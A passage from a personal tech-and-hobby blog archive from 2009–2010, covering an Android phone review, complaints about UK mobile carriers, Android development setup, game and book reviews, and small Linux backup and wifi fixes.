+ The screen lock security can be set to pattern input rather than a code/password (though the pattern is shown as you draw it so anyone can make a mental note).
- The battery life is not great, so remember to turn off wi-fi GPS etc when not in use.

+ External silent mode slider switch.
- The touch screen has a dead zone of about 10 pixels around the edge of the screen.

+ When in a phone call tipping the phone about 45 degrees brings up all the options.
- The touch screen sometimes goes out of sync and can not be swiped or a dead zone appears where tapping is not registered.

+ 20.000+ apps available to download from the App store
- Most of them are junk or super junk, I spend time each day to trawl http://uk.androlib.com/ and expect to view 200-300 summaries, with about ten detailed views followed by one download every 2-3 days. (expect more on this and on the apps I have downloaded).


Orange charge me for the wrong number
Sat, 06 Feb 2010 22:18:17 GMT
Hopefully all the auto link kinks for DEXT are fixed.
I thought my ordeal with Orange was over, everything was working and setup.
Yeah right !
I received a delightful text from Orange suggesting I try e-billing to check my remaining minutes.
The login page asks for the phone number and a password (which I had setup a while ago thinking the infamous PUC entry would reside somewhere). But I can never remember my own phone number so I check the settings in the phone ... hmmmm that does not look right.
Digging out my CV gave me the correct number and it was not the one reported by the phone.
Phone my number and the phone rings, so thats so bad.
Log in and check my ... Oh My GOD! why is my bill twice what I expect and why is the e-billing layout so utterly unreadable !
It appears that ringing the inland revenue is my only call cost, total of £5, thank you 0845.
But the rest is all data charges and it clear show I did not exceed my data allowance.
Call customer services, get passed around a few times, they double check the sales data and agree that I do not owe them a penny in data charges.
But get this, "Sir, I can not change the bill, it will come out at $$$ and you will get a credit the following month". The payment will be taken from my account even though this is not due to take place for another 20 days !
How many people, especially if they were not using much *internet* would have paid without thinking, maybe for the entire length of their contact ?


saying goodbye and wammu to Nokia and o2
Tue, 02 Feb 2010 22:21:46 GMT
Finally, almost six weeks after I tried to leave o2 I am finally free.
What to do with the old phone (Nokia 6300) ?
I was going to give it to Alex to play with but, someone suggested I see if I could sell it. I expected pennies but all the major phone 4 cash web sites were offering £33 and http://www.mazumamobile.com with offering £36 if I took payment in Argos vouchers.
Right now I want get all the data off the old phone and then wipe it. No problem the phone comes with a USB cable ...
Drat! the USB cable only mounts the SD card in the phone, at least I can copy all my photos.
Google around and find wammu but it will only connect to my make and model via Bluetooth.
Look around for a cheap Bluetooth adapter, after all, they wer less than a fiver last time I looked ... nope the prices have gone up on the high street and online you double the price in P&P costs.
So I borrow one and plug it into my infamous laptop (now running Ubuntu 9.1) and nothing ... no errors and no bluetooth pairing even using the command line.
Bus 001 Device 004: ID 1131:1004 Integrated System Solution Corp. Bluetooth Device
ran bluetooth-applet and pairing went beautifully.
in wammu the Bluetooth option did not find the paired device so I tried "All connection types" and it found the Bluetooth pairing ...
Set wammu to retrieve all the different types of data, from contacts to calendar to SMS messages then just make sure to use both the file menu's save options to dump all the non SMS data in one text file and all the SMS data in another.
 http://www.mazumamobile.com sent be a return envelope with the instructions not to include the memory card, SIM, battery or mains/data cables. Sent it off and got an email less than 24 hours later stating the order had been received and that the vouchers are on there way!
 Anyone need a battery and mains adaptor for a Nokia 6300 ?


who knew porting was so difficult
Sun, 31 Jan 2010 23:56:52 GMT
So I have my new phone but I still have the old number active on the old one.
I had asked o2 to give me a PAC porting code but although customer services could confirm that one had been generated they could not tell me why the system showed it had never been sent.
Requested an new one, wait five working days as per instruction... still no code.
(I got the letter twelve days later, it was dated ten days after it had been requested) 
Rang and after some messing about finally got the code read out over the phone.
I now needed to update my new Orange phone with the old number. Searched My Account pages at the Orange web site, nothing, searched the new customer pages, nothing, used the customer services help search engine ... nothing.
In fact there was absolutely no page related to PAC at all, which seems odd. Rang up and was advised that the Porting process only takes place on Wednesdays and that both phones would be taking calls on the old number during the period of 11am to 4pm.
Wait until the next Wednesday. The old o2 phone gets a message from Orange that says it is upgrading, then nothing so I do some more searching.
Finally find a page for businesss users that details the process. 
Key thing being the receiving of numerous text messages and the need to reboot the phone for each one ...
But by 20:00 no further messages had come through, rang customer services and they tell me that everything is OK and that the phone I am ringing on (the Orange DEXT) has the preferred number.
Belive it or not there is more to come tomorrow...


omg rotfl ftw the web site that almost killed me
Tue, 26 Jan 2010 23:07:25 GMT
Never in the history of mankind has there been a web site like this
http://theoatmeal.com
(imaging the choir from a big budget horror film singing something emotionally powerful to get the full effect affect).
*WARNING* this web site almost killed me!


DEXT out of the box
Sun, 24 Jan 2010 22:32:07 GMT
DEXT phone what comes in the box:
SIM (duh!)
USB cable (Type-A to Micro-B) http://en.wikipedia.org/wiki/Usb#Connector_types
Mains adaptor for USB Type-A.
Manual (mostly detailing MotoBlur, only one half page in the entire thing mentions Android).
Headphones (in-ear, not yet opened)
Radiation guide.
DEXT (battery already installed and with some charge).
2gig micro SD.

DEXT phone what the hardware is like:
Feels solid, mostly metal, nice size.
Standby/Connectivity button is opposite the volume up/down button, which can cause 'problems'.
Full 3.5 headphone jack on top.
Slide switch for ringer on/off (not test to see if this is all sound)
Strong vibration.
USB Micro-B socket for charging and connection (standard USB mass storage device so works on Linux).
Short cut to launch camera button.
Under the screen:
 Settings (application specific)
 Menu (Return to home or quick switch to last six apps)
 Back (application specific).


Run the Android emulator during
Sat, 23 Jan 2010 23:45:06 GMT
Android SDK is pretty impressive, what with a full emulator, loads of sample code and offline reference pages.
The android emulator (that can be setup for multiple hardware configurations and can simulate any input, GPS/Tilt/Incoming Call/etc) *MUST* be left running to avoid the long boot up sequence when it is first initialised.
And on those notes and can say my 50 lines android application (written in 10min chunks over the last 12 days is finally bending to my will !!
I want to do some reviews of the DEXT phone but I would rather be doing this coding *RASP*


the simple task of creating hello world in android
Tue, 12 Jan 2010 21:50:12 GMT
Android is the new *shiny* for me now so after install a few apps I wanted to see how easy it was to develop my own.
It was no supprise to find gentoo had eclipse in its portage system and a joy to find it installed with no hassle quite quickly.
What was less enjoyable was the lack of an executable called "eclipse". After some searching it turned out to be the command "eclipse-3.4", which I am sure is perfectly sensible if you grew up with various versions overlapping.
Next, download the Android SDK(Software Development Kit), no need to sign up to google (yay), its just a zip file(meaning precompiled binaries, boo!).
Follow the http://developer.android.com steps and add the Android plug-in to Eclipse, then spend an hour tracking down dependencies *in eclipse*.
Starting with Android Development Tools (0.9.5.v200911191123-20404) requires plug-in "org.eclipse.gef".
Which should have been A: automatically found and B: easy to find manually in a pinch. But no, although all the dependency errors refer to the package name "org.eclipse.gef" the package manager only shows the package title and there are hundreds.
But I can finally say that I am proud to have built the "hello world" app and run it on the emulator.
For some reason the first time you use the emulator it takes 2-3 minutes to startup.
*phew* time for a break...


blended abstract art for android
Tue, 12 Jan 2010 08:58:16 GMT
Image is of the phone with flash composite with the screen from an non flash exposure, thank you GIMP.

Blender image is a simple object generated via python with a halo light and interesting background.
Which you can get from http://wallpapers.androlib.com in red or purple


howto set an adroid wallpaper DEXT
Mon, 11 Jan 2010 23:34:00 GMT
The first thing I wanted to do with my DEXT was create and set a new wallpaper.
blendered up a nice objada at 640x480, transferred to the phone from Linux (this phone just shows up like any mass storage device), select Wallpaper, select image, set crop to whole image and ...
It looks terrible, all blurry and indistinct, double check resolution, try again same result.
The path that does result in a nice 640x480 image (scrolled across five desktops) is to use the Picture Gallery app (built-in) and then select your image and then Settings and then More then Set As and then Wallpaper and then set crop to full.
Worth it in the end ;)
(screen grab tomorrow)


Orange sends me a DEXT
Mon, 11 Jan 2010 22:26:51 GMT
Going back to trying to get and Android phone from Orange and canceling my account with o2 ...
o2 still have not sent the PAK code so I can port my number and their lines are constantly busy, tried sending an email via the contact us web form ... no reply.Orange on the other hand finally sent me the Motorola DEXT and its a great little phone but ...
Charge and turn on and it says you have to create a MOTOBLUR account and you can not use the phone until you do but there is no signal ...
Luckily someone was running an unprotected wifi access point, so I connected with that and created my account. Then setup the phone to use my wifi(protected).
But lots of things would not work over the wifi and 3G did not seem to be available, chalked it up to bad signal and tried again at work the next day(center of London). Not once did I see a 3G signal, but I could authenticate and connect various WIFI access points.
Rang Orange to find the reason no 3G was the account was barred only the rep could not say why and removed it. Less than a minute later 3G popped up and I went away merrily installing all the apps I could lay my hands on (more on those later).
Only I got a text two days later saying there was a problem with my account.
Rang up and found that although my direct debit details had been correct at the time of creating the account they were canceled now.
Turns out that if you setup an account but do not receive a phone of which to avail yourself of it within a single billing period they automatically cancel the DD.
*exhales* still heard nothing back from Orange and the 3hr+ phone call, maybe they are hoping I will just go away ... not bloody likely !


scibblenauts and case of the shrinking tornado
Mon, 11 Jan 2010 22:11:05 GMT
Scibblenauts again.
In a cavern, star at one end and Maxwell the main character starts at the other. Ceiling and floor are 'solid' so no digging, the ceiling has two indents big enough for Maxwell to dwell but no way to connect the two.
The minor inconvenience is the tornado that roams up and down the cavern throwing anything it comes across in random directions. I tried quite a few things before settling on following three solutions.
One: "shrink ray", shoot tornado, it shrinks, walk calmly past get star - WIN!
Two: "Hole", now most things in scribblenauts are quite small so I was a taken aback when I saw the 'hole' was huge and could be planted directly below the tornado. Unfortunately it was so big that after gaining entrance I could not get out, 'ladder' is too small but for some reason 'roof ladder' is almost twice the height, climb out, get star - WIN!
Three: I tried an number of rope related tricks but neither the tornado nor the rope was co-operating. The final solution was to create two 'cliff' objects. These have the unique properties of being both a background object, so the tornado can not toss them, most building types are like this, but also having grassy platforms high up so Maxwell can clamber above the tornado. Clamber above the tornado, get star - WIN!
I have no idea if the programmers actually expected those solutions or there were in fact three more obvious, simple and clever conclusions to the level.


why why why all the blogging
Sat, 09 Jan 2010 22:47:55 GMT
I did warn you I had *stuff* to blog, but why all this;
http://www.jumpstation.co.uk/flog/Jan2010.html#090120102240
http://www.jumpstation.co.uk/flog/Jan2010.html#090120102230
http://www.jumpstation.co.uk/flog/Jan2010.html#090120102151
http://www.jumpstation.co.uk/flog/Jan2010.html#090120102132
http://www.jumpstation.co.uk/flog/Jan2010.html#090120102058
http://www.jumpstation.co.uk/flog/Jan2010.html#090120102047
tonight ?
And, no that is not all of the queued "to blog" stuff ;)
I am waiting for eclipse 3.4 to install all its updates and plug-ins.
And, why is that? I hear you ask ...
[to be continued]


sweets for SWF honey for hacking
Sat, 09 Jan 2010 22:40:41 GMT
The sweet smell of WTF(submitted to http://thedailywtf.com/ )

Someone at work asked me about a local sweet shop and I quickly found a flash based web site for them http://www.annieschocolateemporium.co.uk/. All the sweet jars were images with very slow mouse overs with a further click required to bring up the price.
Not happy with having to, hover over, wait for text and then click every jar. I loaded up the fiddler proxy(windows only) in the hope of catching the XML file used to populate the flash movie ...
Hmmmm, does not load any additional files, and clicking on a jar to retrieve the price looks up a /prices/xx.swf URL, must be a per stock item "get latest" innovation.
Except the /prices folder has way less swf files than there are sweet jars, hang on, the /prices/xx.swf are not per stock item they are per price !
Maybe the price list is embedded in the initial swf, quick wizz through the HP SWFScan tool(also, windows only) and uh oh, each and every sweet jar is a separate clickable button, hard coded with the price swf to load up.
Visiting the store is much more pleasant.
On a side note, the contact us page map has an area marked "'ere be dragons", which is where the dentist is.
The design company behind the web site has a hard coded password in their site swf so there was never much hope.


revomaze bests me for the mo
Sat, 09 Jan 2010 22:30:23 GMT
I am not sure where I first heard about the revomaze but as I dug further around the web it looked like something I had to have, barring the price.
It is a wonderful thing to behold and hold. Perfectly machined, solid metal and quite hefty it feels good in your hands.
The idea is really simply and if the unit was transparent then it could be considered a kids toy. Move the inner cylinder out of the main unit by pulling and twisting.
It is not transparent and the inner workings are not obvious, pulling and turning randomly will get you dropped in a trap and the puzzle must be reset to continue.
The great thing about not being able to see anything, is you do not need to see anything, meaning this can be played anywhere your hands are free.
Love it, but really want to beat it !!


scibblenauts is damn good
Sat, 09 Jan 2010 21:51:26 GMT
This is the review of the first of two exciting Xmas presents I got this year.
Scribblenauts a rather bizarre Nintendo DS game in which you write anything you want and it appears.
That sounds rather impossible but having played it for a while it really does seem to have a massive dictionary with very few restrictions. For instance you can not use brand names, or racial/offensive or alcohol related words.
It is a bit a hard game to describe, there are various challenges that either involve getting a star from a location or supplying a solution to a random task.
On top of 200 levels there are extra points to be scored by solving a puzzle three times, each time not repeating any of the objects conjured into the previous solutions.
Example: a football stadium (in background) a goal and goalie, with the note "Score a goal"
Solution One:"Ball", kick ball in to net, WIN! 
Solution two:"Beach Ball", kick ball in to net, WIN! 
Solution Three: "Football" kick, score, no the goalie caught it, oh.
In frustration "Machine gun" shoot goalie, ball get pushed into back of net, WIN!!
I could go on for ages, but I want to point out, this game is as good as you want it to be. A number of reviewers have poopoo the whole idea after finding a few objects that work and re-using them, where as I delight in trying more weird and wack solutions like the teleporter or the toxic waste dump or the handy cliff or ra ...
Have a DS? buy this game, most places are doing it for £20 brand new.


google talking clock and get bashed
Sat, 09 Jan 2010 21:32:07 GMT
I needed to test a phone line a short while back but could not remember the speaking clock number (UK) so I talking clock but I was a bit surprised to see my bash script talking clock as the first non sponsored link !!
This must mean that lots of other sites link to my talking clock, but strangely (according to google) they do not *shrug*


Neal Stephenson does it again with Anathem
Sat, 09 Jan 2010 20:58:37 GMT
Now for a more positive review of something.
You may have noticed I am a fan of Neal Stephenson, so I had read Anathem a while ago.
The first thing to point out about this epic is the size, 937 pages, 2.5" inches thick and I hate to think what it ways, time for an ebook reader ...
For dragging around this tome you get an amazing and varied story that spans almost a life time. I love the way things slowly ramp up, characters, plot, theories etc until there is a massive star burst of story telling, confusing yet easy to follow.
I will say no more else give away the plot, you bet *Recommended*


something something not funny
Sat, 09 Jan 2010 20:47:53 GMT
"Something, something, dark side" Family Guy's take on the Empire Strikes back could have been spectacular, the Star wars spoof Blue harvest had some dodgy spots but overall was well made and fun.
This time the *fun* part has been removed and in its place is lots of technically impressive scene for scene re-makes with the odd joke thrown in.
A good example of this is the Tauntaun (gray camel kangaroo thing) is called Dondon and has the head of Don Knotts.
Of course there are the odd truly funny bits but they are so sparse I am not looking forward to the Return of the Jedi episode.


do not meet the spartans
Fri, 08 Jan 2010 22:48:55 GMT
Found the 300 spoof "Meet the Spartans" for just £3 in HMV, I thought it was a bargain, how wrong could I be ?
AGHhhhh....! MY EYES! please use trepanning to remove not only part of my skull but the part of my brain that currently holds any record of experiencing this movie.
Notice how unfunny the above is ? thats how funny the DVD is !


Oh where is my android phone orange
Sat, 02 Jan 2010 21:49:57 GMT
Still no new Android phone ( previously, previously, previously) but according to the email I go from Orange it is dispatched.
Unfortunately the parcel tracking number is & &
And the customer service reps have no computer access ...
And a quick note to all future companies wanting my business "I DO NOT HAVE A FAX!".
See the first thing Orange asked after last time was a credit card statement, so I scanned and emailed ... Not accepted.
Then they wanted a current bill with the company name and address, sent scan of mobile bill ... Not accepted.
Then the Companies House certificate of incorporation and company cheque (number obfuscated) ... Not accepted.
So I went into an Orange shop ... No they could not verify my existence even with all the paperwork I had brought in including passport and company bank statements.
Got stroppy email from Orange, no more email attachments Fax only.
I have not got a fax and have never had one nor had anyone I met, accept one and that had been ripped out years ago ...
Finally got an different Orange shop to send the fax for me ...
In todays world who has a Fax at home or in a small business ??


yearly update 2008 and 2009
Sat, 02 Jan 2010 21:36:21 GMT
Rather surprisingly I never got around to adding the 2008 yearly summary so to make up for it I added the  2009 yearly summary to the Archives


Avatar 3D now go and watch it
Sat, 02 Jan 2010 20:24:25 GMT
I saw Avatar (in 3D) and it was very very impressive, despite what I had heard previously the story line is quite adequate and leaves open the possibility of a sequel or two.
What was more impressive was the shear number of names in the credits (there was nothing after the credits). IMDB cast and crew list gives you some idea
If you can, watch this in the cinema in 3D.


silverlight mono facemonkey opacity masks
Sun, 20 Dec 2009 10:18:00 GMT
I did notice that the moonlight project were using a couple of my silverlight demos for testing purposed but I can find nothing on the site since the redesign.

The amazing FaceMonkey has been upgraded to Sivlerlight 3 so you can now save images to your hard drive. There is also full screen mode but that need some TLC to work for all circumstances and time is one thing I do not have and the moment. If you want the latest source code you will have to email (which people have already done) me.

Last but not least I created an interesting Neal Stephenson's Baroque Cycle trilogy that I failed to review the first one so this is now a review of the whole series.

Book One: Quicksilver
Using the same family names as from my favourite book ever Cryptonomicon and to a certain extent their characteristics but for adventures in the 1700s.
Great twisting interweaving stories only hint at what is to come. Although historical people, places and events are mentioned, event to a Luddite like myself this never detracts from the overall joy of reading Neal's excellent writing.

Book Two: The Confusion
Unfortunately this second episode now heaps on the historical references to people, places and events without ever (seemingly) to explain the background, assuming that had completed and enjoyed A level history or maybe a doctorate in 17th century politics.
I tried and I tried to find this book enjoyable and although I made it to the end it felt like a chore. Of course there were throughly enjoyable parts and I just at a loss to recount them against the overall trudge.

Book Three: The System of the World
After the last book I was worried I would never start let alone complete this trilogy but, strangely it was as if many many other readers had had the same issues as this attempt fixed all the previous flaws.
Any reference to a new historical character was recounted with the required background and any slang or alias was also complete with a nod to the actual character we had previously been introduced to.
Back on track this final book was a joy to read with so many exciting scenes playing out bringing all the characters to there unique and many case surprising conclusions.
I wonder if educated peoples found it a bit pretentious, "why of course I know who William of Orange is".

Beware as with previous Neal Stephenson books these are series tomes weighing in at close to a thousand pages each.
Still if you can get them as an ebook this is not such an issue.
bottom line, this trilogy is a must read for anyone, excellent.


three hours seventeen minutes later
Sun, 20 Dec 2009 09:20:56 GMT
Now I have let me anger calm down from my last dealings with o2 I can deal you what happened next...
After three hours seventeen minutes I was still in the queue and the nice automated voice kept repeating tha due to a high call volume I might have to wait and how the call would be answered as soon as possible.
Unfortunately she was lying and for me it was time for bed, after all it was half twelve and it was a school night.
After some less than adequate sleep I tried the number again to get some rather bad news, the office was currently closed and had been closed the whole time I had been on the line the previous night.

$set STATE=livid

Some follow up calls made by someone other than me turned up the fact that they need further proof of identification, would have been really nice if this had been mentioned on the screen telling me I had to call.
Currently I do not have a new phone, appears no one is working this weekend and now Sarah has an iphone.
I hate iphone and to avoid damaging anything around me I will not recount why.
Taking a deep breath . . . . ready to move on.


o2 bad android orange holds
Wed, 16 Dec 2009 10:24:12 GMT
Turns out that for Android phones O2 are pretty useless, all the carriers would offer me a *FREE* android phone with a monthly contract below £26 pm except o2 who I have been a loyal custom of for 5 years with my last upgrade being 3 years ago.
After being offered the "best deal" of £35 pm + pay towards the phone I decided to job ship, which should have been easy...
Attempt number one: in a queue for 10 mins followed by a pickup hangup.
Attempt number two: 5 mins in queue followed by ringing phone for another 5 minutes before I am disconnected.
Attempt number three: in queue for 20 mins followed by *RING* *TONE* *CLICK*
Attempt number four: queuing for less than 5 mins, get human who cancels contract and sends out PAC number.
So its all good ?
Hmmmm I am still on hold after 1 hour 3 mins for Orange as at the end of entering my choice of phone, tariff, address, bank and credit card .. I get a please call customer services and quote reference.
AGHHHHhhhhh........!


The Mammoth Book of Best New Manga 2 review
Mon, 14 Dec 2009 11:05:54 GMT
Sometime ago I finished making my way through The Mammoth Book of Best New Manga 2 and now all I want is MORE!
What was nice about this was the WII 'pick up and play'/read aspect, I could comfortably read one whole story while waiting for gentoo to update or something equally mundane.
The content is highly varied, from the expected SI-FI and fantasy to horror, gilbert & Sullivan and romance. A very small amount is in colour but the overall variety simply in the graphic styles is quite intriguing.
As I said I WANT MORE! but I can not find vol one even at Forbidden Planet.


o2 fail to let me get anyway near an upgrade
Mon, 14 Dec 2009 10:46:32 GMT
To be filed under "moaning/blogging"

phone is playing up, losing time
check contract, minimum expired 2 years ago
goto 02 website and get phone number     
ring number, navigate annoying menu
"to see if you are eligible for an upgrade visit my02"
visit my 02, you must register ...
Register, visit the upgrade center
get upgrade code text...
"we are unable to upgrade you, please ring ..."
ring new number navigate the same annoying menus
enter queue, listen to annoying musac for 20 minutes
rep answers and immediately informs me her computer is not able to access my details.
ask to be put back in the queue... *ring* *ring* *beeeep* * beeeep* !CLICK!
ring again number navigate the same annoying menus
sit in queue for only 5 minutes
rep answers and after some to and fro tells me I have a di number and he can not help.
transfers me to someone who can and ...
the whole network is down try again later
ring later, menu is not repeated instead "we are experiencing higher than expected call volumes try again later. 
ring later, menu is not repeated instead "we are experiencing higher than expected call volumes try again later. 

Maybe I will tray again tomorrow.
A part from this I have only ever had praise for o2 and recommend them regularly.
Hopefully this is a one off glitch...


bloging not
Mon, 30 Nov 2009 11:03:43 GMT
I have a small text file "stuff to blog".
Beware, he who blogs last blogs largest/loudest/longest.


test
Thu, 08 Oct 2009 22:38:07 GMT
Minor update just to force an update.
Thanks steve!


backing up backups of backups CD and VCD
Thu, 08 Oct 2009 22:25:33 GMT
To make space for other things, I have been backing up my VCDs and then CDs in general due to their natural habit to become unreadable over time.
Back in the way when, long before DVDs I purchased a MPEG decoder card that could play VCDs (video cds) and then set about obtaining every released VCD as quickly as I could as they were already fading from shop shelfsWhen I came to back them up I found I had 81 (most were two disk), including such classics as Beverly Hills Cop I,II & III, Cyborg 2 and Crocodie Dundee II.
Some of the slightly better titles on offer include Hackers, Moonraker, Titan AE, Shallow grave, Akira, The Matrix.
The collection takes up 59GIG 
After that short exercise *COUGH* *COUGH* I decided to go after the mother load, all the CDs from before 2007, can't be to many ... It would seem I mad numerous backups of backups, of backups etc etc...
179 CDs later (where many others were simply excluded due to the lack of value in the content, Debian 2.2 install CDs etc) and I am short another 110GIG
That was after I remove a few blatant duplicates.
In the end only 4 CDs failed to be readable by any drive I could find, not bad percent wise.
The process was executed using rsyncrsync --progress --archive --update /mnt/CDROM /backups/CDs/
Then for the duplicate witch hunt I used #!/bin/bash
cd $1
echo "#!/bin/bash" > mkmd5.sh
find . -maxdepth 1 -type d | grep -v "^\.$" | sed -e "s/\(.*\)/cd \"\1\" ; ls -1R | md5sum > \"..\/\1.umd5\" ; cd ../" >> mkmd5.sh
sh mkmd5.sh
rm mkmd5.sh
cd ..
Which creates a MD5 hash file of the same name as each folder (one per CD) then...find . -name "*.umd5" -exec grep -H . {} \; > allMD5.lst
cat allMD5.lst | sort -t ":" -k 2 > sortedbyMD5.lst
cat sortedbyMD5.lst | cut -d ":" -f 2 | uniq -d > dupsMD5.lst 


lg bluebirds loses another lifetime customer
Thu, 08 Oct 2009 21:55:24 GMT
Picture this ;
You (I) are(am) building a new high end PC for someone. Everything is going great and nothing blew up when you turned the power on (always a good start) but, and there is always a but after installing the OS you find that both of the Sata DVD drives installed claim to have a CD in them ...
Strange to say the least. Both drive report that a CD called bluebirds in it, putting a real CD in either drive works fine, its just when it empty.
Now, each time you close the empty CD draw Windows (not my choice) auto-runs 'bluebirds' demanding an install.Once installed it should offer some kind of drag and burn functionality, but the PC user (and most people) will never need this, but it can not be uninstalled :(
"But wait" you say I googled and found the removal tool alas the firmware it writes has a hard coded serial number meaning only one drive per machine :(
In fact a part from that little incident the only thing I have had trouble with was the screen savers and that was just a matter of right clicking and choosing install ...
plug http://topblock.sf.net


eating out in London
Thu, 08 Oct 2009 21:41:20 GMT
In London there are at least a few places to eat...

http://www.fireandstone.com
 New York 
 Crispy oven-roasted smoked bacon, mozzarella, Fire & Stone's tomato sauce, garlic & rosemary roast potatoes, caramelized onion jam, topped with sour cream & smoked paprika.
 Sounds a bit odd (they have more adventurous pizzas) but worked really well, thinking about it makes me go mmmmmmmm.

I need to go back here and sample some of the other goodnessesess especially as they do a great lunch deal.

http://www.myolddutch.com/
 Greek - really fresh, recommended
 Chicken - basic, nice, do not followup with ice-cream pancake... 
 Amsterdammer - sweat and sour, I want this again, but am making my way through the rest of the menu first.
 Seafood - tasted great
 Chicken curry - tasted like an average chicken curry on a pancake, nothing special

I am trying to encourage the entire office to go each and every Monday (due to the "Monday Madness")
Did I mention the pancakes are the size of small mediterranean islands ? mmmmmmmmm


thenewefficiency is just the begining
Thu, 08 Oct 2009 21:27:40 GMT
Apparently I am some what responsible for http://www.thenewefficiency.com must be due to my general silverlighting which would have been to have seen as sleeping in the last few months.
busy busy busy, but do not despair I have a number of new ideas brewing, just need the time to implement them ...


Save me from the dew and tiny kitkats
Sun, 06 Sep 2009 12:17:23 GMT
The problem with working near Leicester square is the bite sized strawberry KitKats and the multitude of Mountain Dew flavors I am forced to sample.
On the other hand there is easy access to just about anywhere in central London during a lunch hour :)


time is meaningless
Sun, 06 Sep 2009 10:08:02 GMT
"Time is meaningless to those who have it"
Which I think translates to seize the day


Power cuts and legs shorten HDD lives
Sun, 30 Aug 2009 21:19:43 GMT
Note to self, do not mock the 'power' of power cuts vs UPS.
Why? cos in revenge the local power sub system knocked out the power on half the street for 28 hours, but missed me, we were out for only 8 hours.
The UPS survived for less than 5 minutes.
The machine seems OK, but bizzarely an external USB hard drive that had been on started to give me odd errors. Switch enclosure and no more errors.
Note to self, ensure external USB HDD cables do not cause health and safety issues to said hard drives.
(as this the second time in 4 weeks I have sent a external drive flying, minor injuries to myself).
Note everyone, make sure you backup your backups ...


linux 2.2 p75 16mb
Thu, 20 Aug 2009 22:39:33 GMT
I have a ancient laptop (p75 16mb) that has been gathering dust for many years.
It has a special place in my heart as the fist machine I ever installed linux on.
Boy that was fun. I had to create boot floppies and PCMCIA driver disks to enable a PCMCIA CDROM drive to allow me to install Debian.
I remember trying it a few years ago and failing the password test, but it recently resurfaced so I endeavored to recover the password one way or another.Linux single still wanted to the password, I had tried most things then I noticed scrawled on laptop 'root', I had tried "root" and it was not the password, but this scrawl was somewhat smudged, i tried 'r00t' and ... I was in.
uname -arevealed an early kernel, 2.2.18pre21 that last access date was 2004.
This machine had been running enlightenment (in place of a very slow window 95) but what was on it now ...startx
Command not found :(
A whiz through the users command history showed a lot of c coding going on in 1999 and a bizzare 'box' described in a folder called 'ideas'
maybe some systems are better left alone ...


powercuts vs UPS UPS wins
Thu, 20 Aug 2009 22:22:08 GMT
Power cuts:0 UPS:2
Hate power-cuts, love UPSs
bacon.saved=true;


Jaunty Jackalope atheros wifi fix
Thu, 20 Aug 2009 22:00:31 GMT
although my main machine is gentoo I do run a 10yr old laptop on Ubuntu, this is a throw away system that gets very little use.
I use Ubuntu because of the lack of tweaking and fiddling it requires, this certainly loses something in comparison to gentoo but it means I can be pretty sure th laptop will work when I need it.
So I was a bit put-out when after upgrading to Ubuntu Jaunty Jackalope my wifi stopped working...
The PCMCIA card was detected an interface was created and all the iwconfig commands and settings appeared to work it just would never associate with my access point.
A quick google showed I was not alone but a deeper examination of those same results showed that the users with the most problems had a slightly different Atheros wifi chip set 242, of which there seems to be more solutions that [reference something that contains a lot of other items].
After reading all about the 242 solutions (not realizing they were not relevant) I did start to see some trends and as such was able to concoct my own solutions.rmmod ath5k
modprobe ath_pcithis changes the interface from wlan0 back to ath0


power cuts loses to UPS
Thu, 20 Aug 2009 21:48:30 GMT
Power cuts:0 UPS:2
Hate power cuts, love UPSs


immune to swine-flu
Sat, 25 Jul 2009 08:06:53 GMT
I am now immune to Swine-Flu !!
pity it took 5 days of writhing in agony to get here and the immunity only works for the current strain ...


alex and joseph balance on the wii
Wed, 01 Jul 2009 14:10:40 GMT
I have lost 10lb on Wii-fit, not bad considering I was not trying and I had just had a reasonable meal just before.
I tried to introduce Alex to the balance board but Joseph decided he wanted to be involved. So we ended up with Alex being balanced by myself and Joseph crawling on and off the board, surprisingly effective.
In other Wii news I have completed de Blob, I just love the way you can play this game 'your way'. All missions and extras unlocked !


topblock reviewed in Japan
Thu, 25 Jun 2009 08:46:20 GMT
There is a nice TopBlock review over at http://www.forest.impress.co.jp/article/2009/06/19/topblock.html
Which is funny cos it was created (xscreensaver) in 2005/6 and then the windows version was released end of 2007.


Alex plays DS and wii a bit
Wed, 24 Jun 2009 15:46:14 GMT
Electroplankton is a strange music/sound 'game' for the DS. I sought it out back in 2006 and paid to import the Japanese version.
Its fun and wacky, using the DS touch stylus to 'lead' plankton to make music.
The reason I mention it now is Alex is really enjoying the fact that there are almost no menus or options, he just clicks and plays.
Alex has also shown an interest in Super Mario Galaxy since he got a t-shirt but can not fathom the Wiimote. de Blob is another game he likes the look of but can not control the character for long. It's mainly due to the way the camera moves behind the main character in both but is to intelligent to just swing around when the character is turned i.e. do a 180 spin and walk forwards and the camera stays facing the character until enough movement spurs it to move back to a a 'chase' position.
This in its self produces an interesting play mechanic, where he will 'play' and then ask me to move the character out of a corner or back to a more central point.


blending a fuzzy bee and jelly hair
Mon, 01 Jun 2009 16:37:33 GMT
I lied, the twitter talk was back in March, the April talk was me doing a blender demo.
This was not a "follow these steps and you will create RESULT" but instead a "Blender is capable of RESULT in a very sort a mount of time".
I was going for just 5mins per demo and made that no problem.
Demo one: Fuzzy Bee
Create a Pixar-realistic (i.e. not photo realistic but highly pleasing to the eye) bumble bee. (recipes below)
Demo two: Jelly Hair
Create a graceful bobbing jellyfish with realistic tentacles.
David then showed a quick blender physics demo-ing a bowling ball hitting 9 pins.
RECIPES
Demo one: Fuzzy Bee
Add sphere
Scale along single axis to get bee body shape and subdivide a few times.
Create material and set VCol paint.
Using Vertex Paint mode paint yellow and black stripes.
Add a new Partical Emitter as Hair, Emit from Verts.
Amount 20000, small random and Render Emitter, Normal 0.05.
(also added an extra light)
Found some time to add two wings from shaped beveled beizer curves.
Render to follow in later post.
Demo two: Jelly Hair
Add sphere and chop in half 
set vertex group
Partical Emitter as Hair, Emit from Verts, Vertex Group set from above step.
Amount 16 to match number of vertexs in group.
Steps 8 to allow combing.
Combed all down, added key frames and physics on the hair.
Everything bobbed along very realistically.


the dangers of twittering
Mon, 01 Jun 2009 16:07:11 GMT
At a LUG meeting long long ago (April) Steve gave a talk on the virtues of twitter, pre-warned I counter attacked with a anti-twitter talk.
Although I was well aware of the pros and cons I was surprised at the number of not only twitter virgins but social networking newbies.
The first (positive) talk concentrated on the great way like minded people can be connected, examples given included being contacted by (semi)famous people and being followed by distant friends.
The second (negative) talk (aka Mine) fell firmly in the *ALERT* *DANGER* *KEEP OF THE GRASS* category. I had an unsettling number of negative notes regarding past miss-use of twitter and the dangers of letting complete strangers (wether they be famous or not) having access to personal information.
Common example, have you ever tweeted about going away on holiday or what a great birthday you had, anything about new additions to the family ?
"I will be on holiday in the USA for a week, beach and party!" translates to empty house for a week.
